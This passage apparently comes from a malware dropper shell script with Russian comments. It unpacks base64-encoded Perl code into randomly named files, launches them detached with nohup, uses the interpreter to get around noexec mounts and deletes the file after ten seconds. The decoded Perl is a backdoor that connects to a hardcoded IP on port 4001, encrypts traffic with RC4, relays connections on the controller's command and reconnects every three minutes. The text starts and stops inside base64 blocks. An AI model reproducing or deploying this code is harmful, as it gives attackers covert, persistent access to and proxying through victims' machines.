7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_5b3ed501() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMS